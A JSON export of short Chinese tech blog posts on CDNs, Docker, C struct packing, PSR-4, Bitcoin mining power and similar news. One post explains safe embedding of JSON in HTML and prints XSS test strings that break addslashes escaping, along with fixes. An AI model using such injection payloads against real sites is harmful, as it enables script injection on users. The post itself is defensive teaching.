    "body": "看到「<a href=\"http://darkhorseanalytics.com/blog/data-looks-better-naked/\">Data looks better naked</a>」這篇，把這樣的圖表：\r\n\r\n<img src=\"//i.imgur.com/naRGVi0.jpg\" alt=\"\" />\r\n\r\n變成這樣的圖表：\r\n\r\n<img src=\"//i.imgur.com/lA2QBvd.jpg\" alt=\"\" />\r\n\r\n作者有做動態 GIF，可以直接看怎麼變化：\r\n\r\n<img src=\"//i.imgur.com/KXlImYR.gif\" alt=\"\" />\r\n\r\n也可以看 <a href=\"https://speakerdeck.com/\">Speaker Deck</a> 上的投影片，一步一步停下來了解：\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"87bb9f00ec1e01308020727faa1f9e72\" data-ratio=\"1.33333333333333\" src=\"//speakerdeck.com/assets/embed.js\"></script>",
    "title": "圖表表達的能力..."
  },
  {
    "id": "4037",
    "body": "在 <a href=\"https://www.kernel.org/\">kernel.org</a> 上看到 Linux Kernel 將不提更 bzip2 格式的原始程式包了：「<a href=\"https://www.kernel.org/happy-new-year-and-good-bye-bzip2.html\">Happy new year and good-bye bzip2</a>」。\r\n\r\n之後只會提供 <code>.tar.gz</code> (為了廣泛的可用性) 與 <code>.tar.xz</code> (為了大小，降低傳輸量)。<a href=\"http://tukaani.org/xz/\">xz</a> 壓出來小不少，也愈來愈多的單位在用了...\r\n\r\n<a href=\"http://www.bzip.org/\">bzip2</a> 也一陣子沒更新了，上次更新是 1.0.6，是為了安全性更新 <a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0405\">CVE-2010-0405</a>，而 1.0.5 也是安全性更新，真正有新版本是 1.0.4 (2006 年 12 月)。\r\n\r\n算是功成身退了？",
    "title": "Linux Kernel 將不提供 bzip2 格式了..."
  },
  {
    "id": "4041",
    "body": "本來在找 <a href=\"http://tmux.sourceforge.net/\">tmux</a> 的設定，結果看到 <a href=\"http://www.fsd.it/fonts/pragmatapro.htm\">PragmataPro</a> 這個字型，看起來還蠻順眼的...\r\n\r\n<img src=\"//i.imgur.com/kOpYivF.png\" alt=\"\" />\r\n<small>(官方的 sample)</small>\r\n\r\n幾個 coding 用字型的重點都有處理好，像是 0 (Zero) 與 O (Uppercase O) 與 o (Lowercase O) 的差異，1 (One) 與 l (Lowercase L) 與 I (Uppercase I) 的差異...\r\n\r\n<img src=\"//i.imgur.com/jfoRs11.png\" alt=\"\" />\r\n<small>(官方的 sample)</small>\r\n\r\n字大一點的時候有復古的感覺...",
    "title": "買了 PragmataPro..."
  },
  {
    "id": "4044",
    "body": "拿「<a href=\"http://tum.adios.tw/post/71646758153/2013-12-21\">F6F — 井口裕香 @ たまゆらじお～もあぐれっしぶ～特別編 (2013-12-21) ↙：かわいい...</a>」這篇的第一張圖來當範例。\r\n\r\n這是原始的 GIF 版本：\r\n\r\n<img src=\"//i.imgur.com/Nqmndka.gif\" alt=\"\" />\r\n\r\n這是 <a href=\"http://gfycat.com/\">gfycat</a> 的版本：\r\n\r\n<iframe src=\"http://gfycat.com/iframe/DeadPerfectBear\" frameborder=\"0\" scrolling=\"no\" width=\"400\" height=\"226\" ></iframe>\r\n\r\nGIF 的原始大小是 1487KB (1522894 bytes)，而 WebM 的大小是 151KB (154735 bytes)，MP4 的大小是 147KB (151274 bytes)，大約是十倍的差距？\r\n\r\n在 <a href=\"http://gfycat.com/about\">about 頁</a>有說明想法，可以看到檔案大小的差距。不過 GIF 已經是上個世紀發明的東西了，而且當初也不是預期現在這種用法 :p",
    "title": "用 HTML5 video 取代動態 GIF 的 Hosting 服務..."
  },
  {
    "id": "4046",
    "body": "在「<a href=\"https://adblockplus.org/blog/year-2013-in-retrospect\">Year 2013 in retrospect</a>」這邊看 <a href=\"https://adblockplus.org/\">Adblock Plus</a> 官方回顧 2013 年時才發現原來有 IE 版了：「<a href=\"https://adblockplus.org/en/internet-explorer\">Adblock Plus - Surf the web without annoying ads!</a>」。\r\n\r\n繁體中文版的預設值跟其他平台相同，都是 ChinaList+EasyList (完整的列表可以參考「<a href=\"https://adblockplus.org/zh_TW/subscriptions\">已知的 Adblock Plus 過濾條件集</a>」)：\r\n\r\n<img src=\"//i.imgur.com/bRjxAaQ.png\" alt=\"\" />\r\n\r\n這是安裝後「<a href=\"http://tw.yahoo.com/\">Yahoo奇摩</a>」首頁的樣子：\r\n\r\n<img src=\"//i.imgur.com/K8FvGmx.png\" alt=\"\" />\r\n\r\n晚點來幫老人家電腦裝...",
    "title": "原來 Adblock Plus 有 IE 版了..."
  },
  {
    "id": "4049",
    "body": "<a href=\"http://www.zerigo.com/\">Zerigo</a> 年底發了兩篇公告：\r\n<ul>\r\n\t<li>12/30 的「<a href=\"http://www.zerigo.com/news/zerigo-dns-integration-with-akamai-platform-now-complete\">Zerigo DNS Integration with Akamai Platform: Now Complete!</a>」</li>\r\n\t<li>12/31 的「<a href=\"http://www.zerigo.com/news/zerigo-price-increase-facts\">Zerigo Price Increase Facts</a>」</li>\r\n</ul>\r\nZerigo 是好用在 GeoDNS 的服務上 (不用自己寫程式 &amp; 更新 GeoDNS database，更不用自己做 HA 機制)，一般的 DNS 服務到是還好... 漲了也只能接受啊，就當作換上 <a href=\"http://www.akamai.com/\">Akamai</a> 後的成本調漲好了？(看了看，檯面上 GeoDNS 沒幾家好用的服務啊...)\r\n\r\n繼續觀察看看吧...",
    "title": "Zerigo DNS 換到 Akamai，然後漲價..."
  },
  {
    "id": "4051",
    "body": "<a href=\"https://github.com/\">GitHub</a> 在 2013 年底的公告：「<a href=\"https://github.com/blog/1727-introducing-forward-secrecy-and-authenticated-encryption-ciphers\">Introducing Forward Secrecy and Authenticated Encryption Ciphers</a>」。\r\n\r\n愈來愈多服務升級 &amp; 調整 SSL (HTTPS) 的設定，支援 PFS (<a href=\"https://en.wikipedia.org/wiki/Forward_secrecy\">Perfect Forward Secrecy</a>) 與 AE (<a href=\"https://en.wikipedia.org/wiki/Authenticated_encryption\">Authenticated Encryption</a>)。\r\n\r\nPFS 要預防的事情我可以理解，但對 AE 的必要性不熟啊... 再去看看整個理論基礎與目的好了...",
    "title": "GitHub 的 SSL (HTTPS) 也支援 PFS 與 AE 了..."
  },
  {
    "id": "4055",
    "body": "ESR (<a href=\"http://www.catb.org/~esr/\">Eric S. Raymond</a>) 寫了一篇 C Compiler 對 struct 實際如何佔用記憶體空間的說明：「<a href=\"http://esr.ibiblio.org/?p=5193\">The Lost Art of C Structure Packing</a>」，全文在「<a href=\"http://www.catb.org/esr/structure-packing/\">The Lost Art of C Structure Packing</a>」。\r\n\r\n以前都學過也都還記得，但沒用就不容易想起來...\r\n\r\n以文章裡的例子用這個 struct 說明：\r\n<pre>struct {\r\n    char *p;\r\n    char c;\r\n    int x;\r\n};</pre>\r\n<small>(下面就不列出 struct 的部份了)</small>\r\n\r\n實際上在記憶體裡面會因為 alignment requirement 的關係，多了一個 padding (<code>pad</code>)：\r\n<pre>char *p;      /* 4 or 8 bytes */\r\nchar c;       /* 1 byte */\r\nchar pad[3];  /* 3 bytes */\r\nint x;        /* 4 bytes */</pre>\r\n\r\n而如果 x 是 8 bytes 的 long 時：\r\n<pre>char *p;\r\nchar c;\r\nlong x;</pre>\r\npadding 會變成：\r\n<pre>char *p;     /* 8 bytes */\r\nchar c;      /* 1 byte\r\nchar pad[7]; /* 7 bytes */\r\nlong x;      /* 8 bytes */</pre>\r\n這是因為硬體架構的關係。有些是因為硬體只支援切齊 alignment 的存取指令，有些是因為效率的差異而預設會增加 padding。\r\n\r\n在處理 protocol 這類必須依照原始的 struct 設計時，需要指定 <pre>#pragma pack</pre> 強迫 compiler 關掉，不然 compiler 還是會補上 padding。\r\n\r\n而在一般的情況下，調整 struct 裡元素的位置就能夠在不影像存取效能的前提下節省空間，如果是大量的 struct 時效果就會變得很明顯...",
    "title": "ESR 解釋 C 的 Compiler 對 Structure Packing 的處理..."
  },
  {
    "id": "4058",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://tech.slashdot.org/story/14/01/02/170216/coca-cola-reserves-a-massive-range-of-mac-addresses\">Coca-Cola Reserves a Massive Range of MAC Addresses</a>」：\r\n\r\n<pre>  FC-D4-F2   (hex)\t\tThe Coca Cola Company\r\n  FCD4F2     (base 16)\t\tThe Coca Cola Company\r\n\t\t\t\tOne Coca Cola Plaza\r\n\t\t\t\tAtlanta GA 30313\r\n\t\t\t\tUNITED STATES</pre>\r\n\r\n可以從「<a href=\"http://standards.ieee.org/develop/regauth/oui/public.html\">IEEE-SA - Registration Authority MA-L Public Listing</a>」這邊查到...\r\n\r\n所以可口可樂公司想要做什麼... @_@",
    "title": "可口可樂公司取得 Mac Address..."
  },
  {
    "id": "4060",
    "body": "每次都忘記，寫一篇之後查比較方便... 重點在對 xxd 的變化應用，而 xxd 被包在 <a href=\"http://www.vim.org/\">Vim</a> 裡，所以應該都會裝... 吧...\r\n\r\nxxd 預設是把 binary 轉成 hex，但你可以用 <code>-r</code> 參數變成反向，也就是 hex 轉 binary。\r\n\r\n所以剩下的就很簡單了，先把 hex 轉成 binary 再轉成 base64：\r\n<pre>echo 0123456789ABCDEF | xxd -r -p | base64</pre>\r\n這邊有裝 <a href=\"http://www.fourmilab.ch/webtools/base64/\">Base64</a> 所以可以直接用，如果沒有的話，可以用 <a href=\"http://www.openssl.org/\">OpenSSL</a> 替代：\r\n<pre>echo 0123456789ABCDEF | xxd -r -p | openssl enc -base64</pre>",
    "title": "Command Line 下把 Hex 轉成 Base64..."
  },
  {
    "id": "4062",
    "body": "剛剛看到「<a href=\"http://philsturgeon.co.uk/blog/2014/01/composer-now-supports-psr4\">Composer now supports PSR-4</a>」才發現有 PSR-4，而且出了好幾個禮拜了...\r\n\r\n<a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-4-autoloader.md\">PSR-4</a>：\r\n\r\n<blockquote>This PSR describes a specification for autoloading classes from file paths. It is fully interoperable, and can be used in addition to any other autoloading specification, including PSR-0. This PSR also describes where to place files that will be autoloaded according to the specification.</blockquote>\r\n\r\n在已經有 <a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md\">PSR-0</a> 的情況下，設計 PSR-4 讓人感覺有點怪，因為功能跟 PSR-0 是衝突的。\r\n\r\n不過仔細看看以後發現 PSR-4 規則比較「乾淨」，有種想要汰換 PSR-0 的想法... 而且 <a href=\"http://getcomposer.org/\">Composer</a> 裡 <code>composer.json</code> 的設計也允許針對不同的 prefix 使用不同的邏輯，看起來是把 PSR-0 當作過渡期的設計，希望大家換到 PSR-4？\r\n\r\nPSR-0 與 PSR-4 最明顯的差異是對底線 (underscore) 解讀不同，在 PSR-4 中的底線沒有任何意義：\r\n\r\n<blockquote>Underscores have no special meaning in any portion of the fully qualified class name.</blockquote>\r\n\r\n在 PSR-0 裡則是說 class name 的底線必須換成 DIRECTORY_SEPARATOR：\r\n\r\n<blockquote>Each _ character in the CLASS NAME is converted to a DIRECTORY_SEPARATOR. The _ character has no special meaning in the namespace.</blockquote>\r\n\r\n來想看看要怎麼轉換現有的系統...",
    "title": "PSR-4"
  },
  {
    "id": "4069",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 宣佈可以在 Linode 的虛擬機內跑 <a href=\"https://www.docker.io/\">Docker</a>：「<a href=\"https://blog.linode.com/2014/01/03/docker-on-linode/\">Docker on Linode</a>」。\r\n\r\n目前提到 Docker 的實際用途... 都是以測試為目的？無論是手動測試，還是自動化測試...",
    "title": "Linode 也支援 Docker 了..."
  },
  {
    "id": "4071",
    "body": "有時候我們會因為效能問題，在 HTML 內嵌入 JSON object，而不是再多一個 HTTP request 取得。\r\n\r\n但「嵌入」的行為如果沒有處理好，就產生非常多 XSS attack vector 可以玩。\r\n\r\n首先最常犯的錯誤是使用錯誤的 escape function：\r\n\r\n<pre>&lt;!DOCTYPE HTML&gt;\r\n&lt;html&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;\r\nvar a = \"&lt;?= addslashes($str) ?&gt;\";\r\n&lt;/script&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;</pre>\r\n\r\n這樣可以用 <code>&lt;/script&gt;&lt;script&gt;alert(1);//</code> 攻擊 <code>$str</code>。因為 <code><a href=\"http://php.net/manual/en/function.addslashes.php\">addslashes</a>()</code> 並不會過濾到這個字串，而產生這樣的 HTML：\r\n\r\n<pre>&lt;!DOCTYPE HTML&gt;\r\n&lt;html&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;\r\nvar a = \"&lt;/script&gt;&lt;script&gt;alert(1);//\";\r\n&lt;/script&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;</pre>\r\n\r\n而這個字串會造成 DOM parser 解讀上產生不是我們預期的行為：\r\n\r\n<img src=\"//i.imgur.com/yiA8yFl.png\" alt=\"\" />\r\n\r\n可以看到在字串裡面的 <code>&lt;/script&gt;</code> 被拆開了。\r\n\r\n這是因為瀏覽器會先拆解產生 DOM tree，再把 <code>&lt;script&gt;&lt;/script&gt;</code> 內的程式碼交給 JavaScript engine 處理。所以在一開始產生 DOM tree 的時候，是看不懂 JavaScript 程式邏輯的...\r\n\r\n正確的方法是用 <code><a href=\"http://php.net/manual/en/function.json-encode.php\">json_encode</a>()</code> 處理，因為 <a href=\"http://www.php.net/\">PHP</a> 的 <code>json_encode()</code> 預設會把 <code>/</code> (slash) 變成 <code>\\/</code> (這是 JSON spec 裡合法的轉換)：\r\n\r\n<pre>&lt;!DOCTYPE HTML&gt;\r\n&lt;html&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;\r\nvar a = &lt;?= json_encode($str) ?&gt;;\r\n&lt;/script&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;</pre>\r\n\r\n這會產生出：\r\n\r\n<pre>&lt;!DOCTYPE HTML&gt;\r\n&lt;html&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;\r\nvar a = \"&lt;\\/script&gt;&lt;script&gt;alert(1);//\";\r\n&lt;/script&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;</pre>\r\n\r\n但上面這段 HTML 與 PHP code 仍然有問題，如果 <code>$str</code> 是 <code>&lt;!--&lt;script</code> 時，你會發現 DOM 又爛掉了：\r\n\r\n<pre>&lt;!DOCTYPE HTML&gt;\r\n&lt;html&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;\r\nvar a = \"&lt;!--&lt;script&gt;\";\r\n&lt;/script&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;</pre>\r\n\r\n<img src=\"//i.imgur.com/Ofagrin.png\" alt=\"\" />\r\n\r\n而 <a href=\"http://escape.alf.nu/\">escape.alf.nu</a> 的 Level 15 就是利用這個問題，再加上其他的漏洞而完成 XSS 攻擊。\r\n\r\n為了這個問題去 StackOverflow 上問：「<a href=\"http://stackoverflow.com/questions/20942452/why-does-script-cause-a-dom-tree-break-on-the-browser\">Why does &lt;!--&lt;script&gt; cause a DOM tree break on the browser?</a>」，才又發現上面這段 code 並不是合法的 HTML5 (先不管 head &amp; title 的部份，補上後仍然不是合法的 HTML5)。\r\n\r\n原因在於 DOM parser 對 <code>&lt;script&gt;&lt;/script&gt;</code> 的特殊處理：「<a href=\"http://www.w3.org/TR/html5/scripting-1.html#restrictions-for-contents-of-script-elements\">4.3.1.2 Restrictions for contents of script elements</a>」。(話說這段 ABNF 差點讓我翻桌...)\r\n\r\n解法是在 <code>&lt;script&gt;&lt;/script&gt;</code> 的開頭與結尾加上 HTML 註解：(這剛好是 <a href=\"http://www.w3.org/TR/REC-html40/\">HTML 4.01</a> 建議的方法)\r\n\r\n<pre>&lt;!DOCTYPE HTML&gt;\r\n&lt;html&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;\r\n&lt;!--\r\nvar a = \"&lt;!--&lt;script&gt;\";\r\n--&gt;\r\n&lt;/script&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;</pre>\r\n\r\n<img src=\"//i.imgur.com/H4YzEmY.png\" alt=\"\" />\r\n\r\n那段 ABNF 的目的是希望可以盡可能往後找到 <code>--&gt;</code> 與 <code>&lt;/script&gt;</code> 結尾的地方。\r\n\r\n當然你也可以用 <code>json_encode()</code> 的 <code>JSON_HEX_TAG</code> 把 <code>&lt;</code> 與 <code>&gt;</code> 硬轉成 <code>\\u003c</code> 與 <code>\\u003e</code> 避開這個問題，但這使得呼叫 <code>json_encode()</code> 時要多一個參數 (而非預設參數)，用起來比較卡...\r\n\r\n這個問題會變得這麼討厭，是因為 DOM parser 與 JavaScript 語法之間有各自的處理方式，然後又有些 pattern 是之前的 spec 遺留下來的包袱 (像是 HTML 4.01 在「<a href=\"http://www.w3.org/TR/REC-html40/interact/scripts.html#h-18.3.2\">18.3.2 Hiding script data from user agents</a>」裡有提到用 <code>&lt;!--</code> 與 <code>--&gt;</code> 包裝 <code>&lt;script&gt;&lt;/script&gt;</code>)，變成在設計 HTML5 時都要考慮進去相容...\r\n\r\n之前會習慣用 <code>&lt;!--</code> 與 <code>//--&gt;</code> 包裝 <code>&lt;script&gt;&lt;/script&gt;</code> 倒不是這個原因，而是因為不這樣做的話，<a href=\"http://jquery.com/\">jQuery</a> 在 IE 使用 <code><a href=\"http://api.jquery.com/html/\">html</a>()</code> 時遇到有 <code>&lt;script&gt;&lt;/script&gt;</code> 的字串會爛掉，所以後來寫的時候變成習慣了...\r\n\r\n反而因為這個習慣而避開了這個問題...\r\n\r\n超難搞啊...",
    "title": "在 HTML 內嵌 JSON object 時要注意的事情..."
  },
  {
    "id": "4088",
    "body": "這是從 <a href=\"http://www.hinet.net/\">HiNet</a> 機房連到 <a href=\"http://aws.amazon.com/\">AWS</a> 官方 d36cz9buwru1tt.cloudfront.net 的 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 資料：\r\n\r\n<img src=\"//i.imgur.com/T0lCUkx.png\" alt=\"\" />\r\n\r\n從中華 HiNet 機房到 test.gslin.org：\r\n\r\n<pre>  3.|-- 211.22.229.2               0.0%    10    0.2   0.2   0.2   0.6   0.0\r\n  4.|-- 220.128.5.226              0.0%    10    0.4   2.6   0.4  11.9   4.4\r\n  5.|-- 220.128.2.174              0.0%    10    2.7   5.4   2.6  12.5   3.3\r\n  6.|-- 220.128.4.177              0.0%    10    0.4   2.0   0.4  16.2   5.0\r\n  7.|-- 203.75.228.29              0.0%    10    1.3   1.3   1.1   1.6   0.0\r\n  8.|-- 223.26.66.19               0.0%    10    1.7   1.4   1.3   1.7   0.0\r\n  9.|-- 202.133.255.122            0.0%    10    1.1   6.8   1.0  38.8  12.2\r\n 10.|-- 54.230.215.52              0.0%    10    1.2   1.2   1.1   1.3   0.0</pre>\r\n\r\n從台灣固網 <a href=\"http://www.tfn.net.tw/\">TFN</a> 機房到 test.gslin.org：\r\n\r\n<pre>  3.|-- 60.199.236.110             0.0%    10    0.3   0.3   0.3   0.5   0.0\r\n  4.|-- 60.199.255.3               0.0%    10    0.3   0.3   0.3   0.3   0.0\r\n  5.|-- 60.199.20.149              0.0%    10    0.2   0.2   0.2   0.2   0.0\r\n  6.|-- 60.199.3.161               0.0%    10   37.9   4.1   0.2  37.9  11.9\r\n  7.|-- 60.199.17.194              0.0%    10    0.7   3.0   0.5  14.1   4.7\r\n  8.|-- 210.62.255.28              0.0%    10   11.0  18.1   1.9 139.9  42.9\r\n  9.|-- 223.26.66.19               0.0%    10    1.5   1.6   1.4   1.8   0.0\r\n 10.|-- 202.133.255.122            0.0%    10    1.9   1.8   1.6   2.4   0.0\r\n 11.|-- 54.230.215.131             0.0%    10    3.8   3.5   1.2   5.4   1.4</pre>\r\n\r\n雖然官方還沒公佈，但已經上線了，代碼是 <code>tpe50</code>。\r\n\r\n就路徑與反解資訊看起來是在<a href=\"http://www.chief.com.tw/\">是方</a>的網路裡，不過不是很確定... 另外 <a href=\"http://aws.amazon.com/route53/\">Route53</a> 看起來還沒有導過去，所以是還在 setup？\r\n\r\nAnyway，在台灣有 PoP 的 CDN 又多了一家：\r\n<ul>\r\n\t<li><a href=\"http://www.akamai.com/\">Akamai</a></li>\r\n\t<li><a href=\"http://www.cdnetworks.com/\">CDNetworks</a></li>\r\n\t<li><a href=\"http://www.windowsazure.com/en-us/develop/net/common-tasks/cdn/\">Windows Azure CDN</a></li>\r\n\t<li><a href=\"http://www.edgecast.com/\">EdgeCast</a></li>\r\n\t<li><a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a></li>\r\n</ul>\r\n所以什麼時候會正式公佈呢...",
    "title": "CloudFront 有台灣機房了..."
  },
  {
    "id": "4098",
    "body": "<a href=\"https://www.wikimedia.org/\">Wikimedia</a> 打算把搜尋系統換到 <a href=\"http://www.elasticsearch.org/\">Elasticsearch</a> 上：「<a href=\"https://blog.wikimedia.org/2014/01/06/wikimedia-moving-to-elasticsearch/\">Wikimedia moving to Elasticsearch</a>」。\r\n\r\n之前的搜尋系統是他們自己刻的 <a href=\"https://www.mediawiki.org/wiki/Extension:Lucene-search\">lucene-search-2</a>，現在則要換成 Elasticsearch。\r\n\r\n可以注意到最近 Elasticsearch 的聲音愈來愈大，而 <a href=\"http://lucene.apache.org/solr/\">Solr</a> 沒什麼長大的感覺...",
    "title": "Wikimedia 將搜尋系統換到 Elasticsearch..."
  },
  {
    "id": "4100",
    "body": "<a href=\"https://www.schneier.com/\">Bruce Schneier</a> 的說明：「<a href=\"https://www.schneier.com/blog/archives/2014/01/ive_joined_co3.html\">I've Joined Co3 Systems</a>」，以及 <a href=\"https://www.co3sys.com/\">Co3 Systems</a> 的公告：「<a href=\"https://www.co3sys.com/news/news-releases/bruce-schneier-joins-co3-systems-cto\">Bruce Schneier Joins Co3 Systems as CTO</a>」。\r\n\r\n所以跑去 Co3 Systems 當 CTO 了... 把放假的時間算進去，速度真迅速 :p",
    "title": "Bruce Schneier 加入 Co3 Systems..."
  },
  {
    "id": "4102",
    "body": "如同前幾天提到的正式公告了：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2014/01/07/new-pops-added-taipei-rio-de-janeiro-amazon-cloudFront-amazon-route-53/\">New Edge Locations Added in Taipei and Rio de Janeiro for Amazon CloudFront and Amazon Route 53</a>」。\r\n\r\n價錢跟預期的一樣，與亞洲區其他點相同。\r\n\r\n不過實際上測試，<a href=\"http://aws.amazon.com/route53/\">Route53</a> 好像沒看到會導到台灣機房？",
    "title": "Amazon CloudFront 與 Route53 正式公告增加台灣機房..."
  },
  {
    "id": "4104",
    "body": "我本來以為這張是搞笑：\r\n\r\n<img src=\"//i.imgur.com/azUMDAN.jpg\" alt=\"\" />\r\n<small>出自 2010 年的「<a href=\"http://gizmodo.com/5498412/sql-injection-license-plate-hopes-to-foil-euro-traffic-cameras\">SQL Injection License Plate Hopes to Foil Euro Traffic Cameras</a>」</small>\r\n\r\n不過我開始覺得在台灣是真的有機會...",
    "title": "話說最近某電子收費廠商的安全性問題..."
  },
  {
    "id": "4106",
    "body": "剛剛看到「<a href=\"http://www.techdirt.com/articles/20140107/11263425789/not-cool-mpaa-joins-w3c.shtml\">Not Cool: MPAA Joins The W3C</a>」：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Motion Picture Association of America, Inc. joined W3C</p>&mdash; W3C Team (@w3c) <a href=\"https://twitter.com/w3c/statuses/420548145102061568\">January 7, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n接下來應該是會很用力推動 DRM？hmmm...",
    "title": "MPAA 加入 W3C..."
  },
  {
    "id": "4108",
    "body": "<a href=\"http://pages.github.com/\">GitHub Pages</a> 上 CDN 了：「<a href=\"https://github.com/blog/1715-faster-more-awesome-github-pages\">Faster, More Awesome GitHub Pages</a>」。\r\n\r\n不過 Apex domain (也就是 domain 本身的 hostname) 無法設定 CNAME record，必須透過 A record，就沒辦法用到 CDN 的地區特性了...\r\n\r\nCDN 用的是 <a href=\"http://www.fastly.com/\">Fastly</a>，也丟進 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 監測好了...",
    "title": "GitHub 的網站功能上 CDN 了..."
  },
  {
    "id": "4110",
    "body": "在 <a href=\"http://www.emc.com/domains/rsa/\">RSA Security</a> 收了 <a href=\"http://www.nsa.gov/\">NSA</a> 的錢，並且使用 NSA 所偏好的亂數演算法的事情被爆料出來後 (而且這個演算法已經被認為是 NSA 埋後門的演算法)，一直有要求 RSA Security 解釋的聲音。但 RSA Security 卻完全沒有解釋。\r\n\r\n想當然的，陸陸續續開始有人退出今年的 <a href=\"http://www.rsaconference.com/\">RSA Conference</a>。一開始是 <a href=\"http://www.f-secure.com/\">F-Secure</a> 的 CRO (Chief Research Officer) 宣布退出：「<a href=\"http://www.f-secure.com/weblog/archives/00002651.html\">An Open Letter to the Chiefs of EMC and RSA</a>」，後來也有不少資安領域的專家退出 (可以參考 <a href=\"http://www.ithome.com.tw/\">iThome</a> 的文章)：「<a href=\"http://www.ithome.com.tw/itadm/article.php?c=84693\">資安專家群起抵制RSA安全會議</a>」。\r\n\r\n最新的消息是 <a href=\"https://www.owasp.org/\">OWASP</a> 官方決定取消與 RSA Conference 的合作關係：「<a href=\"http://blogs.csoonline.com/security-industry/2914/owasp-terminates-marketing-agreement-rsa-conference-board-member-cancels-class-out-protest\">OWASP terminates marketing agreement with RSA Conference. Board member cancels class out of protest.</a>」，不過 OWASP 正式的公告還沒出來。\r\n\r\nOWASP 在 Web 安全性這個領域可是赫赫有名... 這下今年二月底的 RSA Conference 還會有多少人「跟進」呢... 會不會停辦？",
    "title": "OWASP 取消與 RSA Conference 的合作..."
  },
  {
    "id": "4112",
    "body": "<a href=\"https://www.docker.io/\">Docker</a> 被 porting 到 <a href=\"http://www.debian.org/\">Debian</a> 上了：「<a href=\"http://blog.pault.ag/post/72825191507/docker-in-debian\">Docker in Debian</a>」，目前已經在 <a href=\"http://www.debian.org/releases/sid/\">sid</a> (unstable) 裡了：「<a href=\"http://packages.debian.org/docker.io\">Debian -- Package Search Results -- docker.io</a>」。\r\n\r\n不過 Debian 的 sid 要到 stable... 似乎... 要再... 等上... 不少... 日子...",
    "title": "Docker 也被 porting 到 Debian 上了..."
  },
  {
    "id": "4114",
    "body": "<a href=\"http://bitcoin.org/\">Bitcoin</a> 的安全性是利用「當整個社群夠大時，不會有單一團體擁有超過 50% 的計算能力」的假設上發展演算法及防護機制：(參考「<a href=\"https://en.bitcoin.it/wiki/Weaknesses\">Weaknesses - Bitcoin</a>」)\r\n\r\n<blockquote>An attacker that controls more than 50% of the network's computing power can, for the time that he is in control, exclude and modify the ordering of transactions. This allows him to:\r\n<ul>\r\n\t<li>Reverse transactions that he sends while he's in control. This has the potential to double-spend transactions that previously had already been seen in the block chain.</li>\r\n\t<li>Prevent some or all transactions from gaining any confirmations</li>\r\n\t<li>Prevent some or all other miners from mining any valid blocks</li>\r\n</ul></blockquote>\r\n\r\n不過讓人噴飯的消息出來了，即使在 Bitcoin 這麼火熱的情況下，仍然有單一團體計算能力已經超過 50%：「<a href=\"http://news.slashdot.org/story/14/01/10/1422206/largest-bitcoin-mining-pool-pledges-not-to-execute-51-attack\">Largest Bitcoin Mining Pool Pledges Not To Execute '51% Attack'</a>」。\r\n\r\n這應該是當設計時始料未及的... XD",
    "title": "Bitcoin 有單一團體超過 50% 計算能力了..."
  },
  {
    "id": "4119",
    "body": "在「<a href=\"http://kellabyte.com/2014/01/09/my-new-test-lab/\">My new test lab</a>」這篇看到有人買了一台 2U (4 node) 的伺服器來跑測試環境：\r\n\r\n<img src=\"//i.imgur.com/UojuYfF.png\" alt=\"\" />\r\n\r\n用文章內提到的「1 Dell PowerEdge Server XS23-SB 4 Node 8x L5420 Quad Core 96GB RAM 4x HD Caddy」去查，發現非全新機的價錢超便宜：「<a href=\"http://unixsurplus.com/product/dell-poweredge-c6100-xs23-4-in1-cloud-server-8x-intel-xeon-quad-core-25ghz-64gb-server#\">Dell PowerEdge  XS23-SB  8x Xeon Quad Core 2.5Ghz 64GB 4 in1 Cloud Server</a>」。\r\n\r\n每個 node 有兩顆 <a href=\"http://ark.intel.com/products/33929/Intel-Xeon-Processor-L5420-12M-Cache-2_50-GHz-1333-MHz-FSB\">L5420</a> 與 24GB RAM，主機內建兩張 <a href=\"http://www.intel.com/\">Intel</a> Gigabit 網卡。\r\n\r\n<img src=\"//i.imgur.com/dn069pA.png\" alt=\"\" />\r\n\r\nhmmm...",
    "title": "好便宜的 server..."
  },
  {
    "id": "4121",
    "body": "記得前陣子在 <a href=\"https://twitter.com/\">Twitter</a> 上看到有人想要用 Twitter 認證使用者的消息，結果前幾天就看到 <a href=\"https://www.facebook.com/\">Facebook</a> 提供官方版本：「<a href=\"https://www.facebook.com/business/facebook-wifi\">Get Facebook Wi-Fi for Your Business</a>」。\r\n\r\n<img src=\"//i.imgur.com/dDMX7JE.jpg\" alt=\"\" />\r\n\r\n在「<a href=\"https://www.facebook.com/business/a/facebook-wifi/businessowner\">Set Up Facebook Wi-Fi for Your Business</a>」有提到目前有這些產品可以支援：\r\n<ul>\r\n\t<li><a href=\"https://meraki.cisco.com/blog/2013/05/youll-like-this-cisco-meraki-wifi-with-facebook-login/\">Meraki</a> wireless products</li>\r\n\t<li><a href=\"http://www.cisco.com/en/US/netsol/ns1205/index.html\">Cisco</a> ISR G2 and ASR 1000 Series routers</li>\r\n\t<li><a href=\"http://www.netgear.com/landing/facebookwifi/\">NETGEAR</a> R6300 Smart WiFi router</li>\r\n</ul>\r\n不過，感覺好像有很多洞可以鑽... Facebook 用了大量的 <a href=\"http://www.akamai.com/\">Akamai</a> 加速，除非在這些頁面特殊處理過 (把檔案都放到固定 IP 上)，不然應該是不太容易做到？",
